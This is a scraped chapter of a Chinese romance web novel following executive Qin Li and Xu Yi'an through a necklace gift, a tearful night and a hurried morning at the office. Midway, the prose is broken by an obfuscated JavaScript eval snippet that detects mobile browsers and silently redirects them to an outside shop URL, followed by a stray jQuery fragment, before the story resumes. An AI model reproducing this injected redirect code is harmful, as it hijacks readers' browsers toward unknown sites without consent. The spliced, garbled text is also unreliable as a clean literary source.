“秦黎,我换好了,你进来吧。”屋内传出她的声音,秦黎瞬间从幻想中走出来。
“好,我进来了。”
第一眼她有点恍惚,揉揉眼看着她。
柔光缎面自带细腻光泽,柔和的奶白衬得她肤色温润,垂坠版型简约又显贵。
许亦安还是许亦安,但身上的气质变化太大,让秦黎呆愣在原地。
“不合适吗?”她观察着秦黎的表情,声音轻轻柔柔还带着自我怀疑。
“不,很合适,忍不住让我说一句你真好看。”缓过神来的秦黎走到她身边,看着与以往不同的她心里悄悄暗爽了一下“不是衣服好看,是你本来就长得很特别。”
“还差一件东西,稍等我一下。”
从白色首饰柜里拿出一个四四方方的白绒盒子走到许亦安身后打开,是一条珍珠项链,看起来品相不错。
“这是之前买的澳白,一直没有戴过。”轻轻绕到她的脖子上细心地为她戴上。
饱满的珍珠与连衣裙互相映衬。
秦黎微微上后退了半步,目光停留在镜子上的许亦安:“不错,你的了。”
这送戒指又赚钱的到现在还要送大几万的珍珠项链搞得许亦安根本不好意思。
“这……不行,这是你买的,我不能要。”说着伸手想要摘下项链却被秦黎拦住。
肩膀上突然一重,那双细长有力的手指在上面放着:“我平时也用不上,这项链一直放在柜子里也不是办法。”
“时候不早了,换下来洗澡睡觉。”她小心翼翼拂过许亦安脸颊边的一缕碎发,指尖不经意擦过下颚。
“好。”
关门的声音响起,她坐在长椅上用手摸着秦黎为她别到耳后的碎发“许亦安你在做什么啊!怎么还带回味的!”
去洗浴间需要经过连着客厅的走廊,恰巧秦黎的房间就在一旁,只要是留着门缝所有的行踪都能知道。
还能怎么办,硬着头皮去吧。
快速跑过去立马关上门,这动静引起卧室里的秦黎:“怎么和小孩儿一样,我有这么可怕吗?”
水落地激起沙沙声,让人的心静下来,但这对于许亦安似乎一点用都没有。
水珠顺着头发流下,怎么也冲刷不了她的心。
在不知不觉中眼角的泪水连带着水珠融汇在水流里,直到流入下水道。
泪,是被爱所出现的吗……
她分不清,但意识分得清。
在港城秦黎说的话是真的……这是在偏爱她。
也有可能是一点一点培养感情。
她调整好自己的呼吸,随手抹了一把鼻子后关上出水开关。
双手撑着身体抬头看向镜子里的自己“她真的很好……”
“我也挺喜欢她,许亦安……这次你是真的动了心,怎么就连自己都控制不住呢……”
心像是被抓住了一样,跳动的好快……
“嗯好,明天再说。”秦黎双手抱着膝盖挂断了今天的最后一通电话。
洗浴间下面门缝透出亮光,秦黎看了一眼时间,一个小时过去了“怎么还不出来?”
“咚咚咚”
敲门声唤醒了许亦安,慌忙穿睡衣。
“许亦安,怎么了?”门外的秦黎眉头皱起,脸上藏不住的担心,手上的动作没有停一直在敲门。
就在敲第六下的时候,门开了。
她对上许亦安的眸子,发现眼球周围红了一大片,散落的湿发还滴着水滴,让人心里一紧。
“我没事,回屋了。”头也没抬,眼也没看她。
不是不想看,她想先让自己的情绪稳定下来。
“别走。”秦黎快速地拦住她的去路,嘴唇半张着话却说不出来。
颤抖的声音很明显,她在害怕,害怕失去,害怕离开,也更像是一种对某人的依赖。
她第一次听见秦黎用这样的语气说话,身子顿了顿僵硬的抬起头:“秦黎……”
秦黎伸出的手还是悬在半空中,想了想最终还是放下,只说出来一句:“头发及时吹,容易着凉。”
还是一句关心,没有多余的话。
为什么就是说不出来呢,明明眼里就能看出来。
为什么不能直接说呢……一直藏在心里真的值得吗?
“早点睡,我先回房间了。”
早点睡,早点休息……还有别的词能说吗……已经听腻了。
大胆的爱不好吗?
非要小心翼翼有意思吗?
……
她忍着眼里的泪水跑回房间迅速关上门倚在门后,无力感灌满全身,滑落在地上捂住心口。
好痛……
“你爱她吗?”
“爱……”
要是不爱怎么会等她十年呢?
昏暗的房间里,她缩在角落里没有出声的哭,嗓子像是被锁住了一样,鼻子也酸酸的。
不是不爱,是不会表达罢了。
月光洒在木地板上形成一束光线穿过她的全身,就如一把利刃穿透了她的心。
窗外一阵风吹得窗帘乱飞,顺势把一摞病历单吹散在地面上,四处都有一张,甚至可以说空间不够散落。
“中度述情障碍”
如果不是生理上的喜欢,或许在港城就不会对她告白。
可是现在,许亦安明明同意和她在一起了,却又为什么不敢了呢……
深夜十二点的时候手机消息打断了她。
“秦总,实在不好意思在这个时候给您发消息,一个项目比较赶需要您确认一下。”是时总监给她发的短信,后面还带着项目文件。
看来她也没休息,打工人为了生活也是拼命工作,谁叫这个社会过于残忍呢。
秦黎深吸了一口气调整呼吸回消息“嗯”。
在工作上不能松懈,稍有不慎就会带来麻烦,严重一点会损伤集团利益。
腰酸背痛眼球红肿大多都是日常,压力早已压垮她的心境,现在的她全靠意志在活着。
凌晨四点的场景她早习以为常,天边射出一丝丝光照,太阳也就刚刚出头。
直到最后一个标点符号落下,仿佛抽走了她的所有精神,向后仰在椅子上闭上眼养神。
她睡不着,也可能是不敢睡。
在人们的认知中,集团大小姐贵公子都是吃香的喝辣的,事实上完全相反。
刚记事起,父母早已安排好人生规划,几点睡几点起,一日三餐必须严格摄入,兴趣爱好就更不用说了,没有时间捣鼓。
手机闹钟打破了宁静,这是在告诉秦黎要去晨跑了。
她换上一身黑色运动服戴上帽子就出门了。
前脚刚要下楼后脚就开始担心许亦安,回去锁了两道门之后才坐电梯下去。
调试好手表后开始每日的一千五百米还有腰部力量训练。
早上的空气掺杂着青草的味道,伴随着规律的呼吸声和鞋底与地面碰撞的声音。
太阳完全升起时,训练也完成了。
“今日训练已完成”
手表弹出运动APP提醒,秦黎知道该回去了。
家里还有许亦安,回去做早餐。
回到家脱去运动服后去冲了个澡,每天都是这样,一直循坏。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919140|213407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
秦黎饮食普遍清淡,以健康为主,本想和往常一样蒸玉米还有鸡蛋,但一想到许亦安在这儿,今天就破例一次。
从冰箱冷冻层拿出奥尔良鸡排还有培根,打算做两个恰巴塔。
将恰巴塔放入不粘锅撒了几滴水,在多余的空隙煎鸡排还有培根,顺手弄了几个煎蛋。
蔬菜是必不可少的,在里面各放了几片生菜叶,害怕许亦安不喜欢就给她挤了一点沙拉酱。
收拾好厨房的残局,把早餐放在餐桌上随手到了两杯温水。
刚好八点多,是时候把许亦安叫醒。
“咚咚咚”
敲门声唤醒沉睡的许亦安,她来不及反应起身去开门,眼睛都还没睁开:“来了。”
“早饭做好了,起床吃点。”秦黎倚在墙上侧过身看着她的模样,眼里带着些许宠溺。
还没清醒的许亦安歪着头抓了抓头发,身上的睡衣凌乱不堪,有几颗扣子解开露出白皙的肌肤。
嘴里哼哼唧唧:“我还没洗脸刷牙……好困。”
这个样子属实让人想亲,想在她的身上留下痕迹。
“困就再睡会儿,早餐放在桌上记得热热吃,集团那边有点工作要处理,我先走了。”眸子一直在她的身上徘徊,像是在欣赏属于自己的珠宝。
秦黎在临走前为她关上房间门,看到桌上的早餐自己独自拿起自己的那份就出门了。
另一边的许亦安一头栽在床上,头发盖住脑袋整个人浑身无力。
脑子里像是灌了气泡水在不停的冒泡泡,缓了好久才起身坐在床上:“九点了!完了完了快迟到了!”
手机显示的时间一点都不妙,起身的时候还差点没站稳。
“衣服!鞋子啊啊啊!”不顾形象换上衣服又随便穿了双鞋子。
回过神来才想起秦黎给留的早餐。
“时间不够了,在路上解决吧。”给恰巴塔包了几层保鲜膜随手放在包里。
出楼层的电梯门打开后给她吓了一跳,一个长的比她高半头的男人双手插兜面对她,脸上还带着墨镜。
幸亏刹住车要不然直接撞上去了,还没等许亦安说话男人先开口:“许小姐,秦总安排车带您去集团。”
从秦黎家到集团也就三个红绿灯没必要这样吧。
“呃……好……好的”手指攥着掐出红印也是唯一可以掩盖紧张的办法。
第一次有人称呼许小姐还是有点浑身不得劲,在去集团的路上一直盯着窗外。
栋栋高楼拔地而起,直穿云霄。
最高的一栋便是秦氏集团,与旁边的楼层相比更加气派,就像是整个市中心的大哥大。
车辆停稳后司机打开后车门弯腰:“许小姐,请下车。”
“谢谢。”下车后特地回过头感谢。
想到马上就要迟到了就立即冲进集团大楼。
正值上班高峰期电梯爆满,挤都挤不上,起初在角落的许亦安还是可以进去的,但不知道是哪位将她挤了出去。
眼看着还有两分钟就要迟到了急的直跺脚:“怎么办怎么办!爬楼梯吧!”看似没招了,实际上是真的没招了……
“许亦安?”身后传来秦黎的声音。
顿感不妙,只好硬着头皮转过身:“哈哈……秦黎你也在啊。”
“听说你要爬楼梯?”把手里的合上递给身后跟着的时总监,一步步靠近她。
“挤不上电梯……只好这样了。”声音越来越低,之间无意识摩擦衣角。
脸前一股暖气扑面而来,轻微抬头就对上了秦黎的那双眼,目光柔和地落在她的脸上:“跟我来。”